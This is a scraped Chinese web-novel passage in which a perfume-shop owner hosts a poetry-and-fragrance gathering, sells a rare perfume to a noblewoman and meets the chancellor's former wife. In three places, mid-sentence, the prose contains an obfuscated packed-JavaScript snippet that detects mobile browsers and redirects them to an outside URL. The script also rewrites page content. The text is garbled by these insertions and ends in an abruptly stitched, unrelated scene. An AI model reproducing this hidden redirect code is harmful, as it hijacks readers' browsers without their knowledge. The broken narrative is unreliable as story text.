甚至都不会附庸风雅两句,更没有那些场面话。 众人不仅面面相觑。 随后,只见那陆老板打开台上的盒子,红布下,赫然一个羊脂白玉瓶,还透着一丝诡异的红。 可也只是静静的矗立在那儿,她甚至没有展示那是何种香味。 她说的品鉴,那品什么? “那香,拿过来我看看。” 李周氏身旁的妇人,倒是兴致盎然。 她身后的仆人连忙将那香薰凑的近了些。 可李周氏却担心极了。 平日就冷淡,今日办宴会,话还不多,居然也不解释个清楚,她当真也不怕把这宴会搞砸了。 但话说回来,方才她就觉得,在这儿坐了一会儿,宛若进了仙境。 莫不成,是那平平无奇的香薰作用? 第一百零四章磨练,从通房到老板? 见贵客靠近了,闭着眼在品那香味,李周氏便也小心翼翼靠近。 只是不敢距离太近,虽说她身上现在没了那股子味道,但还是本能的保持着距离,生怕惹她不高兴。 这味道…… 李周氏闻的眼睛发亮。 “我还以为是您身上的……” 她惊叹。 而楼下,便是一群有一群的人,凑在那香炉边,各有各的说法。 欢娘立在正中央,身姿格外挺拔,但其实是努力绷直了,然后太紧张,无法放松。 她断定这是好香,而且绝无仅有,市面上绝对做不出来。 只是不知到底有多少人能识得这香味。 有些恍惚时,阿凝突然端了茶水过来。 “老板。” 正好她口渴的很,需要缓缓。 “谢谢。” 欢娘喝了一大口,顿时眼睛发亮,看着茶杯里那鲜绿的嫩茶叶,仿佛就像是刚从树上采摘下来,然后浸泡在水中。 清香,甘甜,还有一股似有若无的……梅香?只是连她都没闻清楚。 “这不是店里的茶?” 欢娘有些不解。 只见阿凝微微浅笑。 “是那边那位客人送的,她没拿到名帖,可却极喜欢咱们店的香膏,方才预定了二十套玉面桃花膏,所以我便做主,请她先进来。” 欢娘顺着阿凝手指的方向望过去。 这才发现在大堂右边最后面,身着白衣的女子戴着面纱,静静的坐在那里。 好似是察觉到她的目光,那女子朝她看过来,目光柔和。 她甚至能感觉到她似乎还对着自己笑了。 欢娘心头一紧,没来由的感到紧张。 那人浑身雪白,显得周遭其他颜色都有些脏。 她似乎……有些眼熟。 她莫名想起初八那日,爷牵着入府的女人,可当时只是个背影,她看的不真切。 再者,若真是她,怎么没个丫鬟仆人呢?爷都牵着人家回府了,想来很关切,怎么不陪着来? 约莫,不是她。 她捧着茶杯,微点头,感谢她相赠。 “这茶叶,她给了一盒。” 阿凝见老板没生气,也暗松口气。 一盒这样的茶叶,那价值……那姑娘出手未免太大方了。 欢娘暗暗心惊。 “阿姐,这是王兄题诗……” 陆寒洲从下面走上来,手里拿着一页纸,要给她看。 一句‘阿姐’喊的欢娘心头多出几分异样。 这陆先生,倒是配合的极好阿,阿姐都能喊的那么自然。 “你念给我听。” 欢娘扫了一眼,就一个感受,读书人的字,果然写的不错。 旁的,再多的她就看不懂了。 ‘天香引 一瓣清芬破俗尘, 轻烟漫绕玉精神。 风来不似人间味, 直引仙魂上紫宸。 醉里不知身是客, 恍临瑶殿沐芳春。 幽香入骨三分韵, 胜却瑶池万点珍。’ 陆寒洲站在欢娘旁侧,轻声念道。 目光一直落在纸上,不敢去看她,生怕一个注视,就露了馅。 他喊一声阿姐,跟要了他命一般。 念完,停顿了好一会儿,陆寒洲甚至听不到周围半点声音。 “你觉得好吗?” “嗯,王兄写诗,素来很有水准,下面出了不少诗句,但这首我觉得不错……” “你说好,那就好,诗词你来品就是。” 陆寒洲再次露出错愕神情,有些呆滞。 “怎么这不是你所长吗?陆先生,帮人帮到底,等这次宴会结束,我给你酬劳。” 欢娘却以为他是不大乐意的。 凑近了些,小声道。 “你信我就成。” 陆寒洲垂着头,低声说了一句,便下了台。 那里奋笔疾书的书生,可真是不少。 欢娘便继续喝着茶,等待。 就她一人在台上,是真的有些奇怪,下意识就想四处看看,可越是乱看,只会暴露她不安的内心。 还好,有茶能喝。 “陆老板,敢问这香露里,可是用了百花朝露来提取?” 突然,一个十六七岁的少女走到她面前,微红着一张脸,问这话时,脸上都透着些忐忑。 欢娘却是很意外。 百花朝露的味道,那是闻不到的。 可她怎么会知道? 看小姑娘忐忑害羞的表情,她似乎也不确定,好似只是猜到的。 欢娘对她越发好奇。 但理智告诉她,此刻她是陆老板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302781|198667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “还有呢?” 她保持镇定,追问。 只见女孩儿忐忑的看了看四周,又看看楼上,手握成拳,说不出的紧张。 “还有……梅香,除了沉香以外,主要用才就是梅,陆老板调配的这款香料,其实不适合成为商品,应该只供给贵人,清贵正气。” 女孩儿又继续道。 她居然真的知道。 虽然没有说出炮制手法,可但一个百花朝露,欢娘自问若不是自己得知这方子,根本就闻不出来。 “你叫什么名字?” 欢娘止不住对眼前女孩儿好奇。 “海棠,我叫海棠。” 女孩儿回答时,脸蛋红扑扑的。 她看着也就十六七岁,穿着寻常布衣,欢娘看她眼熟,一眼扫去,女客这边,第三排有个空位。 “陆老板,我……我能不能跟着您学习调香?我从小就喜欢,可是家里条件不是大好……” 那岂不是要做学徒? 欢娘看着这小姑娘,有些意动。 若是铺子生意大好,她确实需要培养心腹,去调香。 外头的人不能随便请,可若是一手带出来的徒弟呢? “那百花朝露,你是如何得知?” 但她还有个很关键的问题,要先问个清楚。 却见海棠一下就红了脸。 “我尝出来的,那香炉里的香薰,我吃了一口。” 这下,欢娘当即是震惊了。 只觉得她不仅有天赋,而且还胆量惊人,就连想法都那么与众不同。 “明天早上,来铺子里找我。” “那你是答应了?” 海棠一听这话,眼睛惊喜透亮。 欢娘笑着点头应下。 只见海棠兴奋的连连点头,然后往后退去。 与此同时,文人墨客,也略有心得,在陆寒洲的安排下,逐一上台。 以诗来鉴香,诗词一出,掌声不断,就连楼上的贵女也纷纷写了词来。 诗词斗的颇为热闹。 等了这么久,也总算是开始了,这文人墨客,风骚高雅,素来文人便与气节分不开。 如今她这凝香阁,便也算是与这‘气节’扯上了干系。 欢娘虽然听不大懂,但不影响她对自己这一想法的肯定,她站在一旁,看着陆寒洲主持斗诗会。 第一百零五章装什么?那怎么能算侮辱呢? 看斗诗这般热闹,欢娘欲找机会退出去。 楼上却下来一个熟客。 “陆老板可有空?有位贵人,想见见你。” 李周氏走向她。 欢娘微蹙眉,她记得李周氏是和一位贵妇一同进来的,一个包厢。 今日来的这些人,多是世家小姐。 抡起身份和地位,比这李周氏高的还没几个。 可就连她都称是贵人?那位贵妇,得何许人也? “可不能拒绝,我是为你好。” 李周氏见她沉默,以为她这是性子又来了,语重心长的道。 哪怕她是相爷的女人,可也不能得罪了这位贵人。 偏偏欢娘也听懂了她的暗示,这人,不好得罪。 “请带路。” 刚刚放松的心情,此刻又紧张起来。 欢娘双臂自然垂落,双手交叠于身前,随着李周氏,进了包厢。 香薰发挥到了极致,此刻的香味,当真是令人心旷神怡。 但此刻的她已经无暇去品味自己调配的香料了。 包厢里只有李周氏和那位一眼看着就十分尊贵的妇人。 旁侧两个丫鬟角落里候着,以欢娘的经验,丫鬟不必在意。 “苏姐姐,这位便是凝香阁老板了。” 李周氏带着欢娘站在那妇人旁侧,进来后居然还很端庄的行了个礼。 苏姓? 欢娘下意识在脑海里搜寻京都贵族。 “陆老板,请坐。” 可妇人那清冷的声音很快就传来了。 欢娘都没时间思考,只看到李周氏看她的目光,透着担忧。 怎么坐一下还能出事? “陆老板这是?” 她就停顿了片刻,那妇人便侧过头,微微扬起,看向她。 虽然她坐着,但周身气度,更像是居高临下的那位。 就连老夫人,怕是都没这样的气场,欢娘越发好奇,这位,到底何许人也? 她立刻意识到不坐才有事。 欢娘稳步走到她旁侧的椅子,那里,刚才是李周氏的座位。 而现在的李周氏,即便站在那妇人旁侧,也毫无怨言。 坐在那里,俯瞰着楼下,便是另一种感觉。 欢娘隐约有些懂了,为什么那些个贵人,总喜欢坐楼上,居高临下。 “苏夫人找我,是为何事?” “苏是我的姓。” 却见她眉头轻挑,弯起的嘴角带着一丝嘲讽,好似在笑话她,辨不清身份。 嫁作人妇还能用自己姓氏的女子吗?京都也找不出来。 “是。” 她颔首应下。 “今日你这香,我很喜欢,要多少银子?” 紧跟着,这苏夫人的直接让欢娘都愣了。 都让她怀疑自己刚才在台上,是不是没把话说清楚。 她沉默了片刻。 “陆老板,苏姐姐用香极为挑剔,从不会在外面乱买,她家中有专门的调香师,此番出来,她看中了你这凝香阁的镇店之宝,实属不易。” 站在后面的李周氏,可担心坏了。 就怕陆老板用对她的口吻来和这位贵人说话。 言外之意,这位贵妇能看上她这香,还是她的荣幸? 欢娘倒不觉得自己被侮辱了,反而是李周氏这谨小慎微的态度,加深了欢娘的猜测。 眼前这位贵妇,绝对是自己从不敢奢望能见过的人。 她坐立难安。 怪不得李周氏那么担心她。 倘若让这贵妇知道跟她坐在一起的,就是个没有背景的丫鬟,她要作何感想? “夫人喜欢,那我也不绕弯子,这香今日展出,我也在思量如何定价?不曾想会今日卖出?您出个价?” 她认真道,尽量克制着自己的紧张。 只见那贵妇却愣住了。 难道说,价格都不该谈?免费送? 那岂不是在告诉这贵妇,她猜到她的身份了?那会很麻烦,而且危险。 欢娘强装镇定,这个时候,装糊涂是最好的选择,她就以一个商人的思想,去和这位贵妇谈话。 “陆老板,果真是与众不同,看来就如李妹妹说的,有神通。” 片刻后,贵妇突然笑了。 可欢娘却有些茫然,贵妇怎么看出来的,她与众不同? “拿这个,换你那瓶香露,如何?” 她从头上摘下了一珠钗。 并非俗艳的赤金,而是成色极纯的足赤赤金,色泽温润如暖阳,触手沉实,一看便知用料极厚、分量极足。 钗头是累丝瑞鸟衔珠,鸟身以极细的金丝一圈圈盘绕而成,羽丝纤密如真,翅尖、尾翎都缀着极细小的金粟,风微动,便似要振翅飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302782|198667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 口中衔着一颗鸽卵大小的东珠,珠色莹白,精光内敛,不耀目却极压场,一看便是深海贡品,寻常世家一辈子也未必能见一颗。 它不似凡物,更像宫中之物、御赐之宝。 想到她的身份,欢娘断定,这定是宫里的东西,一钗,怕是能买下一座宅子了。 可她却不能收。 收了就是**烦。 “抱歉,夫人,我一贯只收现银,这事儿李夫人是知道的。” 苏氏本想看看她的反应,却见她眸光淡然,瞧见这等佳品,眼皮都没抬一下,拒绝时,语气都毫无波澜。 她几乎能断定,这老板,定是见过世面的。 而且她极度坦诚,作为商人,很清楚自己要的什么,不像楼下那群虚头八脑的玩意儿。 怪不得,能调配出这等上乘的香料。 “李妹妹,可带了银票?” 而此刻欢娘心里慌乱不已。 可她竟是意外的好说话,就连李周氏都暗松了口气。 最后,她便以五千两白银,买了这瓶香露。 那是银票,可欢娘接到手里时,却是沉甸甸的。 很大一笔钱,可这瓶香露的材料费用,也是千金。 “我听闻你这楼里能为贵客定制独一无二的香料?” “若我就要这款香料,陆老板可能同意?” 给了银子后,苏氏继续问道。 那就是还要来?欢娘内心满是抗拒。 “您是贵客,自然您说了算,只是这香露难制,取材不易,一年恐怕也只能有六瓶。” 不得不答应,但也得想想法子,少见面的好。 “成交,记住,这香露只能我用。” 但苏氏似乎还很高兴。 甩袖离开时,平静又端庄,无形之中都透着尊贵。 楼下,欢娘将香露从台上撤走,精心包装以后,送到了外面停靠的马车里。 那是镇店之宝,在场的人都以为不卖,自然也无人去相争。 更何况,借着香露斗诗,附庸风雅的效果,都有了。 可也有的人,在乎那瓶香露。 “陆老板这是做了比大生意?” 欢娘目送贵妇离开后,欲进楼里时,那白衣女子,站在门口,拦了她的去路。 只是靠近的瞬间,欢娘便闻到了那股很熟悉的冷梅香。 第一百零六章那是白月光,也是正室 那香味,出自她的手,她怎会不知是给谁的? 欢娘微微一怔。 不想,真是那日的女子? 她脑海中不受控的闪过一些画面。 一个巴掌,数不清的谩骂,这女子是来找她算账的,骂她狐狸精。 只是看到她站在那里,带着浅浅的微笑,欢娘就有些慌乱。 可转念一想,先来后到,总有个顺序,她凭什么来找她麻烦? 再者,现在自己是陆老板,不是向相爷献媚的小丫鬟,她又怎么可能知道陆老板和相爷的关系? 所以……她来这里,也只是巧合而已。 “你送我的茶,倒是很好喝,多谢。” 快速调整好心情,欢娘稳步走到她面前,还算镇定。 只是好浓烈的冷梅香,这样的香味,怎样才能沾染上? 只有相爷屋里会点。 莫不成,他们日日在一起吗? 所以爷这些天,才不现身? “那是我种的,你喜欢,我很高兴。” 女人柔声道。 声音清冷如凝结在房梁上的冰锥,她人还是和第一次见面时一样,干净,高雅的简直不像凡人。 欢娘靠的越近,心里便越发不是滋味儿。 “我叫林秋桐,陆老板怎么称呼?” 可对面的人,却大方介绍自己,自信到反光。 林秋桐? 欢娘有些恍惚,记忆里她是听过这名字的,一瞬间,她骨子里都在打颤。 不可置信的看着眼前这女子。 林秋桐,相爷曾经的正妻,八年前二人和离,她离开。 从此以后,相爷身边再没添过新的女人,过上了清心寡欲的生活。 她记得赵娣还跟她提过,别看爷不近女色,冷心冷情,但听相府老人说过,相爷与他的正妻曾也是琴瑟和鸣,相濡以沫。 但只可惜,天意弄人,相爷绝嗣,便和心爱的女子和离。 居然是她? 欢娘方才好不容易建立起来的一点点信念,被击的粉碎。 她不想面对她。 “陆老板?认识我吗?” 突然传来林秋桐的声音,欢娘理智被拉回。 可这次,手却抑制不住的微微颤抖着。 她摇了摇头。 “不认识。” 只见林秋桐略显失落。 “也是,我离京许久,陆老板看着年轻,听说又是刚来京都的,怎么可能认识我呢?” 她苦笑着。 欢娘听她说每一个字,心头都有种难以言说的无力。 可却只能配合着,与她闲聊。 她也怕,被林秋桐看出点什么。 说着话,两人回到楼里,阿凝便提着香膏走过来。 “夫人,这是您要的东西。” 二十份玉面桃花糕,便要五十两,可不便宜。 而且又是大量的定,她拿去送给谁呢? 欢娘思绪复杂。 只见林秋桐摸了摸身上,却没拿出钱袋子。 “不好意思,忘记带钱袋了,往日我出门,夫君会给,我这一时……没反应过来。” 她带着歉意解释。 瞧着她的样子,实在不像是会赖账的,所以阿凝态度极其友好,但也不敢说什么,目光看向欢娘。 “那要不先放着,我下次再来拿,明日我送银子来?” 林秋桐再次开口。 “林姑娘送我那茶叶,便是珍品,价值远超这些东西,就当我送林姑娘的,您还请收下。” 那还是别来了,欢娘不想再和她见面,所以只想着赶紧将人打发走。 五十两银子的账,她也亏得起。 “那不成,买卖生意,岂有免费的道理?这样吧,我……签单,回头让府上的人将银子送来可好?” 林秋桐却不同意。 转头就叫阿凝去拿纸笔来。 ‘相府萧怀停’五个字,刺眼极了。 她能直呼相爷的名字,而且还能以爷的名号在外买东西? 此举,除了爷的正室,谁还敢呢? 就连阿凝,看着纸上几个字,也震惊不已,客客气气的将人送走。 “她竟是相爷的人?怪不得,那般与众不同了。” 送完人,阿凝回到欢娘身边,忍不住惊叹。 而欢娘正拿着她签下的那单子,看着那五个字,思绪被吸了进去,怎么都回不过神来。 她写的字,那么好看。 晚上,欢娘躺在床上。 分明这些天累惨了,可她却无半点睡意,满脑子都想着要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“如何?” 萧苏氏等阿等,等的直跺脚。 因为过于急切,眼里都含上了泪光。 “倒是也无碍,胎儿康健,只是母体虚弱了些,营养有些跟不上。” 半响,柳大夫才道,那话说的都艰难。 “当真?” 萧苏氏迫不及待的问道。 “真没事吗?” 欢娘也紧张不已,因为她真觉得不舒服。